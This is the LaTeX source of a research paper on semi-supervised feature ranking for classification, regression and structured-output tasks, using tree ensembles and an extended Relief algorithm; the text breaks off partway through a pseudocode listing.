\section{What papers by other authors make the most closely related contributions, and how is your paper related to them?}
\begin{itemize}
\item Levati\'{c}, J. (2017). Semi-supervised Learning for Structured Output Prediction. PhD thesis, Jo\v{z}ef Stefan Postgraduate School, Ljubljana, Slovenia. \cite{jurica:phd}:
\begin{itemize}
\item It presents the SSL ensembles which our ensemble scores are computed from
\end{itemize}
\item Kononenko and Robnik-\v{S}ikonja, (2003). Theoretical and Empirical Analysis of ReliefF and RReliefF. Machine Learning Journal, 55:23--69. \cite{kononenko:relief}:
\begin{itemize}
\item It presents the regression Relief which we extend to the SSL case
\end{itemize}
\item {Doquire and Verleysen, 2013. Doquire, G. and Verleysen, M. (2013). A graph Laplacian
based approach to semi-supervised feature selection for regression problems. \textit{Neurocomputing}, 121:5--13. \cite{doquire:ssl-reg}:
\begin{itemize}\item\emph{It presents the competing method.}
\end{itemize}}
\item {Huynh-Thu, V. A., Irrthum, A., Wehenkel, L., and Geurts, P. (2010).
Inferring regulatory networks from expression data using tree-based methods. PLoS One,
5(9):1–10. \cite{genie3}:
\begin{itemize}\item
\emph{It presents the Genie3 scoring scheme for regression.}
\end{itemize}}
\item {Breiman, L. (2001). Random forests. Machine Learning, 45(1):5–32. \cite{Breiman01a:jrnl}:
\begin{itemize}\item
\emph{It presents the random forest mechanism for feature ranking for classification and regression.}
\end{itemize}}
\end{itemize}
\section{Have you published parts of your paper before, for instance in a conference? If so, give details of your previous paper(s) and a precise statement detailing how your paper provides a significant contribution beyond the previous paper(s).}
{\bf Yes}. An initial study was presented at the 2019 Discovery Science Conference \cite{ssl-fr-stc}: it included only ensemble-based scores and the only considered task there was standard classification. In this work, we extend that work in the following ways:
\begin{enumerate}
\item Additional data sets for classification are considered.
\item Additional four tasks are considered (MLC, HMLC, STR, MTR), and the ensemble-methods are evaluated in these cases (and on the additional classification data sets).
\item Relief family of the algorithms is extended to SSL, and evaluated (for all five tasks).
\end{enumerate}
\bibliographystyle{abbrv}
\section{Introduction}
\label{intro}
\begin{sloppypar}
In the era of massive and complex data, predictive modeling is undergoing some significant changes. Since data are becoming ever more high dimensional, i.e., the target attribute potentially depends on a large number of descriptive attributes, there is a need to provide better understanding of the importance or {\it relevance} of the descriptive attributes for the target attribute. This is achieved through the task of feature ranking \cite{Guyon:JMLR:2003,Jong:PKDD:2004,Nilsson:JMLR:2007,petkomat:mtr}: the output of a feature ranking algorithm is a list (also called a {\it feature ranking}) of the descriptive attributes ordered by their relevance to the target attribute. The obtained feature ranking can then be used in two contexts: (1) to better understand the relevance of the descriptive variables for the target variable or (2) as a frequent pre-processing step to reduce the number of descriptive variables. By performing the latter, not only the computational complexity of building a predictive model later on is decreased, but at the same time, the models that use a lesser number of features are easier to explain and understand which is of high importance in a variety of application domains such as medicine \cite{medicine2,medicine1,medicine3}, life sciences \cite{Grissa16:jrnl,Saeys07:jrnl,Tsagris18:jrnl} and ecological modeling \cite{BHARDWAJ2018139,GALELLI201433,Zhou18:jrnl}.
\end{sloppypar}
Another aspect of massiveness is the number of examples in the data.
However, for some problems such as sentiment analysis of text, e.g., tweets \cite{petra},
or determining properties of new chemical compounds \cite{DiMasi}, e.g., in QSAR (quantitative structure activity relationship) studies (which is one of the considered datasets in the experiments), one can only label a limited quantity of data, since labeling demands a lot of human effort and time (labelling tweets), or is expensive (performing wet lab QSAR experiments). Since the cases where many examples remain unlabeled are not that rare, advances in predictive modeling have brought us to the point where we can make use of them. In this work, we focus on semi-supervised learning (SSL) techniques that handle data where some examples are labeled and some are not (as opposed to supervised learning (SL) where all examples are labeled).
Another direction of research goes into weakly supervised learning \cite{weak} where all examples may be labeled but (some) labels may be inaccurate or of a lower quality.
\begin{sloppypar}
The SSL approaches are all based on the assumption that the target values are well-reflected in the structure of the data, i.e.,
\begin{assumption}[Clustering Hypothesis]\label{lab:ch}
Clusters of data examples (as computed in the descriptive space) well resemble the distribution of target values.
\end{assumption}
If the clustering hypothesis is satisfied, then a SSL algorithm that can make use of unlabeled data, may outperform the classical SL algorithms that simply ignore them.
This holds for predictive modeling tasks \cite{jurica:phd,ssl-intro}, and as we show in this work, for feature ranking tasks also.
\end{sloppypar}
In addition to the massiveness, the complexity of the data is also increasing. Predictive modeling is no longer limited to the standard classification and regression,
but also tackles their generalizations. For example, in classification, the target variable may take only one of the possible values, for each example in the data.
On the other hand, problems such as automatic tagging (e.g., the \texttt{Emotions} dataset (see Sec.~\ref{sec:data}) where the task is to determine emotions that a given musical piece carries)
allow for more than one label per example (e.g., a song can be \textit{sad} and \textit{dramatic} at the same time). A further generalization of this problem is hierarchical multi-label classification, where the possible labels are organized into a hierarchy, such as the one in Fig.~\ref{fig:hmlc-example}, which shows animal-related labels.
If a model labels an example as \emph{koala}, it should also label it with the generalizations of this label, i.e., \emph{Australian} and \emph{animal}.
Similarly, the task of regression can be generalized to multi-target regression, i.e., predicting more than one numeric variable at the same time, e.g., predicting canopy density and height of trees in forests (the \texttt{Forestry} dataset in Sec.~\ref{sec:data}).
The main motivation for the generalized predictive modeling tasks is that considering all the target variables at the same time may exploit the potential interactions among them
which are ignored when one predicts every variable separately. Moreover, building a single model for all targets can dramatically lower the computational costs.
In many cases, the data are at the same time semi-supervised (has missing), high dimensional and has a structured target, as for example in gene function prediction:
Labeling genes with their functions is expensive (semi-supervision), the genes can be described with a large number of variables (high dimensionality),
and the functions are organized into a hierarchy (structured target). Thus, designing feature ranking algorithms that i) can use unlabeled data, and ii) can handle
a variety of target types, including structured ones, is a relevant task that we address in this work. To the best of our knowledge, this is the first work that treats jointly the task of feature ranking in the context of semi-supervised learning for structured outputs.
\begin{sloppypar}
{\it We propose two general feature ranking approaches}. In the first approach, a ranking is computed from an ensemble of predictive clustering trees \cite{Kocev:Journal:2013,Blockeel98:phd},
adapted to structured outputs and SSL \cite{jurica:phd}, whereas the second approach is based on the distance-based Relief family of algorithms \cite{kira:relief}.
An initial study, investigated the performance of the ensemble-based approach in the classification task \cite{ssl-fr-stc}. In this work, we substantially extend our previous study in several directions:
\end{sloppypar}
\begin{enumerate}
\item Additional datasets for classification are considered.
\item Additional four tasks are considered (multi-label and hierarchical multi-label classification, single- and multi-target regression),
and the ensemble-based feature ranking methods are evaluated in these cases.
\item The Relief family of algorithms is extended to SSL, and evaluated for all five tasks
(in comparison to the ensemble-based feature ranking methods).
\end{enumerate}
The rest of the paper is organized as follows.
In Sec.~\ref{sec:preliminaries}, we give the formal definitions of the different predictive modeling tasks, and introduce the notation.
Sec.~\ref{sec:related} surveys the related work, whereas Secs.~\ref{sec:ensemble-scores} and \ref{sec:relief-scores} define the ensemble-based and Relief-based feature importance scores,
respectively. Sec.~\ref{sec:setup} fully describes the experimental setup. We present and discuss the results in Sec.~\ref{sec:results}, and conclude with Sec.~\ref{sec:conclusions}.
The implementation of the methods, as well as the results are available at \url{http://source.ijs.si/mpetkovic/ssl-ranking}.
\section{Preliminaries}\label{sec:preliminaries}
{\bf Basic notation.} The data $\mathscr{D}{}$ consist of examples $(\bm{x}, \bm{y})$, where $\bm{x}$ is a vector of values of $D$ descriptive variables (features),
and $\bm{y}$ is the value of the target variable(s). The domain $\mathcal{X}_i$ of the feature $x_i$ is either numeric, i.e., $\mathcal{X}_i\subseteq \mathbb{R}$,
or categorical, i.e., it is a finite set of categorical values, e.g., $\mathcal{X}_i = \{A, B, AB, 0\}$ if a feature describes blood type.
Both numeric and categorical types are considered primitive \emph{unstructured} types. The domain $\mathcal{Y}$ of the target variable depends on the predictive modeling task at hand.
In this paper, we consider five tasks, two having unstructured, and three having structured target data types.
{\bf Regression (STR).} In this case, the target is a single numeric variable. Since we later consider also its generalization (multi-target regression), we refer to this task as single-target regression (STR).
{\bf Multi-target regression (MTR).} Here, the target variable is a vector with $T$ numeric variables as components, i.e., $\mathcal{Y}{}\subseteq\mathbb{R}^T$. Equivalently,
we can define MTR as having $T$ numeric targets, hence the name. In the special case of $T = 1$, MTR boils down to STR.
{\bf Classification.} In this case, the target is categorical. Since the algorithms considered in this paper can handle any classification task,
we do not distinguish between binary ($|\mathcal{Y}{}| = 2$) and multi-class classification ($|\mathcal{Y}{}| > 2$).
{\bf Multi-label classification (MLC).} The target domain is a power set $\mathcal{P}(\mathscr{L}{})$ of some set $\mathscr{L}{}$ of categorical values, whose elements
are typically referred to as labels. Thus, the target values are sets. Typically, the target value $\bm{y}$ of the example $(\bm{x}, \bm{y})$ is referred to as a set of labels that are relevant for this example. The sets $\bm{y}$ can be of any cardinality, thus the labels are not mutually exclusive, as is the case with the task of (standard) classification.
{\bf Hierarchical multi-label classification (HMLC).} This is a generalization of MLC where the domain is again a power set of some label set $\mathscr{L}{}$,
which, additionally, is now partially-ordered via some ordering $\prec$. An exemplary hierarchy (of animal-related labels), which results from such an ordering is shown in the corresponding Haase diagram in Fig.~\ref{fig:hmlc-example}.
\begin{figure}[!htb]
\centering
\includegraphics[width=.4\textwidth]{hmlc-example}
\caption{An exemplary hierarchy of animal related labels.}
\label{fig:hmlc-example}
\end{figure}
If $\ell_1\prec \ell_2$, the label $\ell_1$ is predecessor of the label $\ell_2$. If, additionally, there is no such label $\ell$,
such that $\ell_1 \prec \ell \prec \ell_2$, we say that $\ell_1$ is a parent of $\ell_2$.
If a label does not have any parents, it is called a root.
A hierarchy can be either tree-shaped, i.e., every label has at most one parent, or it can be directed acyclic graph (DAG).
Since the label \texttt{elephant} has two parents (\texttt{African} and \texttt{Asian}), the hierarchy in Fig.~\ref{fig:hmlc-example} is not a tree.
Regarding predictive modeling, the ordering results in a hierarchical constraint, i.e., if a label $\ell$ is predicted to be relevant for a given example,
then, also its predecessors must be predicted relevant, e.g., if a given example is \texttt{koala}, it must also be \texttt{Australian} and \texttt{animal}.
In the cases of MLC and HMLC, each set of relevant labels $S\subseteq \mathscr{L}{}$ is conveniently represented by the 0/1 vector $\bm{s}$
of length $|\mathscr{L}{}|$, whose $j$-th component equals one if and only if $\ell_j\in S$. Thus, we will also use the notation $T = |\mathscr{L}{}|$.
{\bf Semi-supervised learning (SSL).} The unknown target values will be denoted by question marks ($?$). If the target value of the example is known,
we say that the example is labeled, otherwise the example is unlabeled. This applies to all types of targets and is not to be confused with the labels in the tasks of MLC and HMLC.
\section{Related Work}\label{sec:related}
\begin{sloppypar}
In general, feature ranking methods are divided into three groups \cite{vir:stanczykJainPregled}. \emph{Filter} methods do not need any underlying predictive model to compute the ranking. \emph{Embedded} methods compute the ranking directly from some predictive model. \emph{Wrapper} methods are more appropriate for feature selection, and build many predictive models which guide the selection.
Filters are typically the fastest but can be myopic, i.e., can neglect possible feature interactions, whereas the embedded methods are a bit slower, but can additionally serve as an explanation of the predictions of the underlying model. The prominence of the feature ranking reflects in numerous methods solving this task in the context of classification and STR \cite{Guyon:JMLR:2003,vir:stanczykJainPregled}, however, the territory of feature ranking for SSL is mainly uncharted, especially when it comes to structured output prediction.
An overview of SSL feature ranking methods for classification and STR is given in \cite{Sheikhpour:ssl-overview}. However, the vast majority of the methods described there are either supervised or unsupervised (ignoring the labels completely). An exception is the SSL Laplacian score \cite{doquire:ssl-reg}, applicable to the STR problems.
\end{sloppypar}
This method is a filter and stems from graph theory. It first converts a dataset into a graph,
encoded as a weighted incidence matrix whose weights correspond to the distances among the examples in the data.
The distances are measured in the descriptive space but more weight is put on the labeled examples.
One of the drawbacks of the original method is that it can only handle numeric features. Our modification that overcomes this is described in Sec.~\ref{sec:considered-methods}.
For structured output prediction in SSL, we could not find any competing feature ranking methods. Our ensemble-based scores belong to the group of embedded methods, and crucially depend on ensembles of SSL predictive clustering trees (PCTs) \cite{jurica:phd}. We thus describe bellow SSL PCTs and ensembles thereof.
\subsection{Predictive clustering trees}\label{sec:pcts}
PCTs are a generalization of standard decision trees. They can handle various structured output prediction tasks and have been recently adapted to SSL \cite{jurica:phd}.
This work considers the SSL of PCTs for classification, STR, MTR \cite{jurica-mtr}, MLC, and HMLC.
For each of these, one has to specify the impurity function $\mathit{impu}{}$ that is used in the best test search (Alg.~\ref{alg:bestTest}),
and the prototype function $\mathit{prototype}{}$ that creates the predictions in the leaf nodes.
After these two are specified, a PCT is induced in the standard top-down-tree-induction manner.
Starting with the whole dataset $\dataset_\text{TRAIN}{}$, we find the test (Alg.~\ref{alg:pct}, line~\ref{alg:pct:search}) that greedily splits the data so that the heuristic score of the test, i.e., the decrease of the impurity $\mathit{impu}{}$ of the data after applying the test, is maximized. For a given test, the corresponding decrease is computed in line~\ref{alg:heurCom} of Alg.~\ref{alg:bestTest}.
If no useful test is found, the algorithm creates a leaf node and computes a leaf node with the prediction (Alg.~\ref{alg:pct}, line~\ref{alg:pct:leaf}). Otherwise, an internal node $\mathscr{N}{}$ with the chosen test is constructed, and the PCT-induction algorithm is recursively called on the subsets in the partition of the data, defined by the test.
The resulting trees become child nodes of the node $\mathscr{N}{}$ (Alg~\ref{alg:pct}, line~\ref{alg:pct:internal}).
\vskip-1.5em
\noindent\begin{minipage}[!T]{0.43\textwidth}
\begin{algorithm}[H]
\caption{PCT($E$)}\label{alg:pct}
\begin{algorithmic}[1]
\STATE $(t^*,h^*,\mathcal{P}^*) = \mathrm{BestTest}(E)$\label{alg:pct:search}
\IF{$t^* = \mathit{none}$}
\STATE \textbf{return} $\mathit{Leaf}(\mathit{prototype}{}(E))$\label{alg:pct:leaf}
\ELSE
\FOR{\textbf{each} $E_i \in \mathcal{P^*}$}
\STATE $\mathit{tree}_i$ = PCT($E_i$)
\ENDFOR
\STATE \textbf{return} $\mathit{Node}(t^*,\;\bigcup_i \{\mathit{tree}_i\})$\label{alg:pct:internal}
\ENDIF
\end{algorithmic}
\end{algorithm}
\end{minipage}
\begin{minipage}[!T]{0.55\textwidth}
\begin{algorithm}[H]
\caption{$\mathrm{BestTest}(E)$}\label{alg:bestTest}
\begin{algorithmic}[1]
\STATE $(t^*,h^*,\mathcal{P}^*) = (\mathit{none},0,\emptyset)$
\FOR{\textbf{each} test $t$} \label{alg:btest1}
\STATE $\mathcal{P} = $ partition induced by $t$ on $E$\label{alg:partition}
\STATE $h = |E|\mathit{impu}{}(E) -\sum_{E_i \in \mathcal{P}} |E_i| \mathit{impu}{}(E_i)$\label{alg:heurCom}
\IF{$h > h^*$} \label{alg:icv}
\STATE $(t^*,h^*,\mathcal{P}^*) = (t,h,\mathcal{P})$ \label{alg:btest2}
\ENDIF
\ENDFOR
\STATE \textbf{return} $(t^*,h^*,\mathcal{P}^*)$
\end{algorithmic}
\end{algorithm}
\end{minipage}
\vskip1em
\noindent The impurity functions for a given subset $E\subseteq \dataset_\text{TRAIN}{}$ in the considered tasks are defined as weighted averages of the feature impurities $\mathit{impu}{}(E, x_i)$, and target impurities $\mathit{impu}{}(E, y_j)$.
For nominal variables $z$, the impurity is defined in terms of the Gini Index $\mathit{Gini}{}(E, z) = 1 - \sum_v p_E^2(v)$, where the sum goes over the possible values $v$ of the variable $z$, and $p_E(v)$ is the relative frequency of the value $v$ in the subset $E$.
In order not to favoritize any variable a priori, the impurity is defined as the normalized Gini value, i.e.,
$\mathit{impu}{}(E, z) = \mathit{Gini}{}(E, z) / \mathit{Gini}{}(\dataset_\text{TRAIN}{}, z)$. This applies to nominal features and the target in classification.
For numeric variables $z$, the impurity is defined in terms of their variance $\textit{Var}{}(E, z)$, i.e., $\mathit{impu}{}(E, z) = \textit{Var}{}(E, z) / \textit{Var}{}(\dataset_\text{TRAIN}{}, z)$.
This applies to numeric features and targets in other predictive modeling tasks, since the sets in MLC and HMLC are also represented by 0/1 vectors.
However, note that computing the Gini-index of a binary variable is equivalent to computing the variance of this variable if the two values are mapped to $0$ and $1$.
When computing the single-variable impurities, missing values are ignored.
In a fully-supervised scenario, the impurity of data is measured only on the target side. However, the majority of target values
may be missing in the semi-supervised case. Therefore, for SSL, also the features are taken into account when calculating the impurity, which is defined as
\begin{equation}
\label{eq:impurity}
\mathit{impu}{}(E) = w\cdot \frac{1}{T} \sum_{j = 1}^T \alpha_j \mathit{impu}{}(E, y_j) + (1 - w)\cdot \frac{1}{D} \sum_{i = 1}^D \beta_i \mathit{impu}{}(E, x_i)\text{,}
\end{equation}
where the level of supervision is controlled by the user-defined parameter $w\in [0, 1]$. Setting it to $1$ means fully-supervised
tree-induction (and consequently ignoring unlabeled data). The other extreme, i.e., $w = 0$, corresponds to fully-unsupervised
tree-induction (also known as clustering). The dimensional weights $\alpha_j$ and $\beta_i$ are typically all set to $1$, except for HMLC where
$\alpha_i = 1$ for the roots of the hierarchy, and $\alpha_i = \alpha \cdot \mathit{mean}(\text{parent weights})$ otherwise, where $\alpha\in (0, 1)$ is a user-defined parameter. A MLC problem is considered a HMLC problem where all labels are roots.
The prototype function returns the majority class in the classification case, and the per-component mean $[\bar{y}_1, \dots, \bar{y}_T]$ of target vectors otherwise.
In all cases, the prototypes (predictions) are computed from the training examples in a given leaf. In the cases of MLC and HMLC, the values $\bar{y}_j$ can be additionally thresholded to obtain the actual subsets, i.e., $\hat{\bm{y}} = \{\ell_j \mid \bar{y}_j \geq \vartheta, 1\leq j\leq T\}$, where
taking $\vartheta = 0.5$ corresponds to computing majority values of each label.
\subsection{Ensemble methods}
To obtain a better predictive model, more than one tree can be grown, for a given dataset, which results in an ensemble of trees.
Predictions of an ensemble are averaged predictions of trees (or, in general, arbitrary base models) in the ensemble.
However, a necessary condition for an ensemble to outperform its base models is, that the base models are diverse \cite{Hansen90:jrnl}.
To this end, some randomization must be introduced into the tree-induction process, and three ways to do so have been used \cite{jurica:phd}.
{\bf Bagging.} When using this ensemble method, instead of growing the trees using $\dataset_\text{TRAIN}{}$, a bootstrap replicate of $\dataset_\text{TRAIN}{}$ is independently created for each tree, and used for tree induction.
{\bf Random Forests (RFs).} In addition to the mechanism of Bagging, for each internal node of a given tree, only a random subset (of size $D' < D$) of all features is considered when searching for the best test, e.g., $D' = \mathit{ceil}(\sqrt{D})$.
{\bf Extremely Randomized PCTs (ETs).} As in Random Forests, a subset of features can be considered in every internal node (this is not a necessity), but additionally, only one test per feature is randomly chosen and evaluated. In contrast to Random Forests (and Bagging), the authors of original ETs did not use bootstrapping \cite{geurts:extraT}. However, previous experiments \cite{ssl-fr-stc} showed that it is beneficial to do so when the features are (mostly) binary, since otherwise ets can offer only one possible split and choosing one at random has no effect.
\section{Ensemble-Based Feature Ranking}\label{sec:ensemble-scores}
The three proposed importance scores can be all computed from a single PCT, but to stabilize the scores, they are rather computed from an ensemble:
Since the trees are grown independently, the variance of each score $\mathit{importance}{}(x_i)$ decreases linearly with the number of trees.
Once an ensemble (for a given predictive modeling task) is built,
we come to the main focus of this work: Computing a feature ranking out of it. There are three ways to do so: Symbolic \cite{petkomat:mtr},
Genie3 \cite{petkomat:mtr} (its basic version (for standard classification and regression) was proposed in \cite{genie3}),
and Random Forest score \cite{petkomat:mtr} (its basic version was proposed in \cite{Breiman01a:jrnl}):
\begin{eqnarray}
\label{eq:symbolic}
\mathit{importance}_\text{SYMB}(x_i) &=& \frac{1}{|\mathcal{E}|} \sum_{\mathcal{T}\in\mathcal{E}} \sum_{\mathscr{N}\in\mathcal{T}(x_i)} |E(\mathscr{N}{})| / |\dataset_\text{TRAIN}{}|\text{,} \\
\label{eq:genie}
\mathit{importance}_\text{GENIE3}(x_i) &=& \frac{1}{|\mathcal{E}|} \sum_{\mathcal{T} \in \mathcal{E}} \sum_{\mathscr{N} \in \mathcal{T}(x_i)} h^*(\mathscr{N})\text{,}\\
\label{eq:rf}
\mathit{importance}_\text{RF}(x_i) &=& \frac{1}{|\mathcal{E}|}\sum_{\mathcal{T} \in \mathcal{E}}
\frac{\mathit{e}(\text{OOB}_\mathcal{T}^i) - \mathit{e}(\text{OOB}_\mathcal{T})}{\mathit{e}(\text{OOB}_\mathcal{T})}\text{.}
\end{eqnarray}
Here, $\mathcal{E}{}$ is an ensemble of trees $\mathcal{T}{}$, $\mathcal{T}{}(x_i)$ is the set of the internal nodes $\mathscr{N}{}$ of a tree $\mathcal{T}{}$ where the feature $x_i$ appears in the test, $E(\mathscr{N}{}) \subseteq\dataset_\text{TRAIN}{}$ is the set of examples that reach the node $\mathscr{N}{}$,
$h^*$ is the heuristic value of the chosen test, $\mathit{e}{}(\text{OOB}_\mathcal{T}{})$ is the value of the error measure $\mathit{e}{}$,
when using $\mathcal{T}{}$ as a predictive model for the set $\text{OOB}_\mathcal{T}{}$ of the out-of-bag examples for a tree $\mathcal{T}{}$, i.e., examples that were not chosen into the bootstrap replicate, thus not seen during the induction of $\mathcal{T}{}$. Similarly, $\mathit{e}{}(\text{OOB}_\mathcal{T}{}^i)$ is the value of the error measure $\mathit{e}{}$ on the $\text{OOB}_\mathcal{T}{}$ with randomly permuted values of the feature $x_i$.
Thus, Symbolic and Genie3 ranking take into account node statistics: The Symbolic score's award is proportional to the number of examples that reach this node, while Genie3 is more sophisticated and takes into account also the heuristic value of the test (which is proportional to $|E(\mathscr{N}{})|$, see Alg.~\ref{alg:bestTest}, line \ref{alg:heurCom}.
The Random Forest score, on the other hand, measures to what extent noising, i.e., permuting, the feature values decreases the predictive performance of the tree. In Eq.~\eqref{eq:rf}, it is assumed that $\mathit{e}{}$ is a loss, i.e., lower is better as is the case, for example, in the regression problems where (relative root) mean squared errors are used. Otherwise, e.g., for classification tasks and the $F_1$ measure, the importance of a feature is defined as $-\mathit{importance}{}_\text{RF}$ from Eq.~\eqref{eq:rf}.
Originally, it was designed to explain the predictions of the RFs ensemble \cite{Breiman01a:jrnl} (hence the name), but it can be used with any predictive model.
However, trees are especially appropriate, because the predictions can be obtained fast, provided the trees are balanced.
\subsection{Ensemble-based ranking for SSL structured output prediction}
The PCT ensemble-based feature ranking methods for different structured output prediction (SOP) tasks have been introduced by \cite{petkomat:mtr,acta-hun-hmlc}, and evaluated for different SL SOP tasks. In this case, PCTs use a heuristic based on the impurity reduction on the target space,
as defined by Eq.~\eqref{eq:impurity}, in a special case when $w = 1$. As for SSL, the general case of Eq.~\eqref{eq:impurity} applies.
Once we have SSL PCTs, the ensemble-based feature ranking methods technically work by default. They have been evaluated in the case of SSL classification. However, they have not been evaluated on STR and SOP tasks.
\subsection{Does the ensemble method matter?}
From Eqs.~\eqref{eq:symbolic}--\eqref{eq:rf}, it is evident that all three feature ranking scores can in theory be computed from a single tree, and averaging them
over the trees in the ensemble only gives a more stable estimate of $\mathbb{E}[\mathit{importance}{}(x_i)]$.
However, one might expect that bagging, RFs and ETs on average yield the same order of features (or even the same importance values)
since the latter two are more randomized versions of the bagging method. Here, we sketch a proof that this is not (necessarily) the case.
One of the cases when the expected orders of features are equal, is a dataset where each of the two binary features
$x_1$ and $x_2$ completely determine the target $y$, e.g., $y= x_1$ and $y = 1 - x_2$, and the third feature is effectively random noise.
It is clear that the expected values of the importances are in all cases $\mathit{importance}{}(x_1) = \mathit{importance}{}(x_2) > \mathit{importance}{}(x_3)$.
One of the cases where bagging gives rankings different from those of RFs, is a dataset where knowing the values of ranking pairs $(x_1, x_2)$
and $(x_3, x_i)$, for $4\leq i\leq D$ again completely reconstructs the target value $y$, and $h(x_1) > h(x_i) > \max\{h(x_2), h(x_3)\}$, for $i\geq 4$.
In this case, bagging will first choose $x_1$ and then $x_2$ in the remaining two internal nodes of the tree, so $x_1$ and $x_2$ would be the most important features.
On the other hand, RFs with $D' = 1$ and $D$ sufficiently large, will in the majority of the cases first choose one of the features $x_i$, $i\geq 4$,
and then, sooner or later, $x_3$. Unlike in the bagging-based ranking, $x_3$ is now more important than $x_1$.
\subsection{Time complexity}\label{sec:times-ensemble}
In predictive clustering, the attributes in the data belong to three (not mutually exclusive) categories: i) Descriptive attributes are those that can appear in tests of internal nodes of a tree, ii) Target attributes are those for which predictions in leaf nodes of a tree are made, and iii) Clustering attributes are those that are used in computing the heuristic when evaluating the candidate tests. Let their numbers be $D$, $T$ and $C$, respectively, and let $M$ be the number of examples in $\dataset_\text{TRAIN}{}$.
Note that in the SSL scenario (if $w\notin \{0, 1\}$), we have the relation $C = D + T$.
Assuming that the trees are balanced, we can deduce that growing a single semi-supervised tree takes $\mathcal{O}(M D' \log M (\log M + C))$ \cite{jurica:phd}.
After growing a tree, ranking scores are updated in $\mathcal{O}(M)$ time (where $M$ is the number of internal nodes) for the Symbolic and Genie3 score, whereas updating the Random Forest scores takes $\mathcal{O}(D M \log M)$. Thus, computing the feature ranking scores does not change the $\mathcal{O}$-complexity of growing a tree,
and we can compute all the rankings from a single ensemble.
Thus, growing an ensemble $\mathcal{E}{}$ and computing the rankings takes $\mathcal{O}(|\mathcal{E}{}| M D' \log M (\log M + C))$.
\section{Relief-based Feature Ranking}\label{sec:relief-scores}
\begin{sloppypar}
The \textsc{Relief} family of feature ranking algorithms does not use any predictive model.
Its members can handle various predictive modeling tasks, including classification \cite{kira:relief}, regression \cite{kononenko:relief},
MTR \cite{petkomat:mtr}, MLC \cite{petkomat:mlc:relief,reyes}, and HMLC \cite{acta-hun-hmlc}. The main intuition behind Relief is the following:
the feature $x_i$ is relevant if the differences in the target space between two neighboring examples are notable if and only if the differences in the feature values of $x_i$ between these two examples are notable.
\subsection{Supervised Relief}
More precisely, if $\bm{r} = (\bm{x}^1, \bm{y}^1)\in \dataset_\text{TRAIN}{}$ is randomly chosen,
and $\bm{n} = (\bm{x}^2, \bm{y}^2)$ is one of its nearest $k$ neighbors, then the computed importances $\mathit{importance}{}_\text{Relief}(x_i)$ of the Relief algorithms equal the estimated value of
\end{sloppypar}
\begin{equation}\label{eqn:relief}
P_1 - P_2 = P(\bm{x}_i^1 \neq \bm{x}_i^2 \mid \bm{y}^1 \neq \bm{y}^2) - P(\bm{x}_i^1 \neq \bm{x}_i^2 \mid \bm{y}^1 = \bm{y}^2)\text{,}
\end{equation}
where the probabilities are modeled by the distances between $\bm{r}$ and $\bm{n}$ in appropriate subspaces. For the descriptive space $\mathcal{X}$ spanned by the domains $\mathcal{X}_i$ of the features $x_i$, we have
\begin{equation}
\label{eqn:metric}
d_\mathcal{X}(\bm{x}^1, \bm{x}^2) = \frac{1}{F}\sum_{i = 1}^F d_i(\bm{x}^1, \bm{x}^2);\;\;
d_i(\bm{x}^1, \bm{x}^2)=
\begin{cases}
\;\bm{1}[\bm{x}_i^1 \neq \bm{x}_i^2]&: \mathcal{X}_i \nsubseteq \mathbb{R}\\
\frac{|\bm{x}_i^1 -\bm{x}_i^2|}{\max\limits_{\bm{x}} \bm{x}_i - \min\limits_{\bm{x}}\bm{x}_i} &: \mathcal{X}_i\subseteq \mathbb{R}
\end{cases}
\end{equation}
where $\bm{1}$ denotes the indicator function. The definition of the target space distance $d_\mathcal{Y}$ depends on the target domain. In the cases of classification and MTR, the categorical and numeric part of the definition $d_i$ in Eq.~\eqref{eqn:metric} apply, respectively. Similarly, in multi-target regression, $d_\mathcal{Y}$ is the analogue of $d_\mathcal{X}$ above.
In the cases MLC and HMLC, we have more than one option for the target distance definition \cite{petkomat:mlc:relief}, but in order to be as consistent as possible
with the STR and MTR cases, we use the Hamming distance between the two sets. Recalling that sets $S\subseteq\mathscr{L}{}$ are presented as 0/1 vector $\bm{s}$ (Sec.~\ref{sec:preliminaries}), the Hamming distance $d_\mathcal{Y}$ is defined as
\begin{equation}
\label{eqn:hamming}
d_\mathcal{Y}(S^1, S^2) = \gamma \sum_{i = 1}^{|\mathscr{L}{}|} \alpha_i \bm{1}[\bm{s}_i^1 \neq \bm{s}_i^2]
\end{equation}
where the weights $\alpha_i$ are based on the hierarchy and are defined as in Eq.~\eqref{eq:impurity}, and $\gamma$ is the normalization factor that assures
that $d_{\mathcal{Y}{}}$ maps to $[0, 1]$. It equals $\frac{1}{|\mathscr{L}{}|}$ in the MLC case, and depends on the data in the HMLC case \cite{acta-hun-hmlc}.
To estimate the conditional probabilities $P_{1, 2}$ from Eq.~\eqref{eqn:relief}, they are first expressed in the unconditional form, e.g., $P_1 = P(\bm{x}_i^1 \neq \bm{x}_i^2 \land \bm{y}^1 \neq \bm{y}^2) / P(\bm{y}^1 \neq \bm{y}^2)$. Then, the numerator is modeled as the product $d_i d_\mathcal{Y}$, whereas the nominator
is modeled as $d_\mathcal{Y}$. The probability $P_2$ is estimated analogously.
\subsection{Semi-supervised Relief}
In the SSL version of the above tasks, we have to resort to the predictive clustering paradigm, using descriptive and clustering attributes instead of descriptive and target ones. More precisely, the descriptive distance is defined as above. As for the clustering distance, it equals $d_\mathcal{Y}$ when the target value of both $\bm{y}^1$ and $\bm{y}^2$ are known, and equals $d_\mathcal{X}$ otherwise. The contribution of each pair to the estimate of probabilities is weighted according to their distance to the labeled data. The exact description of the algorithm is given in Alg.~\ref{alg:relief}.
\begin{algorithm}
\caption{SSL-Relief($\dataset_\text{TRAIN}{}$, $m$, $k$, $[w_0, w_1]$)}
\label{alg:relief}
\begin{algorithmic}[1]
\STATE{$\textbf{imp} = $ zero list of length $D$}
\STATE{$\bm{P}_\text{diffAttr, diffCluster}$, $\bm{P}_\text{diffAttr} = $ zero lists of length $D$}
\STATE{$P_\text{diffCluster}= 0.0$}
\STATE{$\bm{w} = \mathit{computeInstanceInfluence(\dataset_\text{TRAIN}{}, w_0, w_1)}$}\label{alg:relief:influence}\label{line:influence}
\STATE{$s = 0$\hfill \# sum of weights of the pairs, used in normalization}
\FOR{iteration $= 1, 2,\dots, m$}
\STATE{$\bm{r} = $ random example from $\mathscr{D}$}\label{line:rndEx}
\STATE{$\bm{n}_1, \bm{n}_2, \dots, \bm{n}_k =$ $k$ nearest neighbors of $\bm{r}$}\label{line:knn}
\FOR{$\ell = 1,2, \dots, k $}
\STATE{$w = \bm{w}[\bm{r}] \cdot \bm{w}[\bm{n}_\ell]$}
\STATE{$s \mathrel{+}= w$}
\IF{$\bm{r}$ and $\bm{n}_\ell$ are labeled}
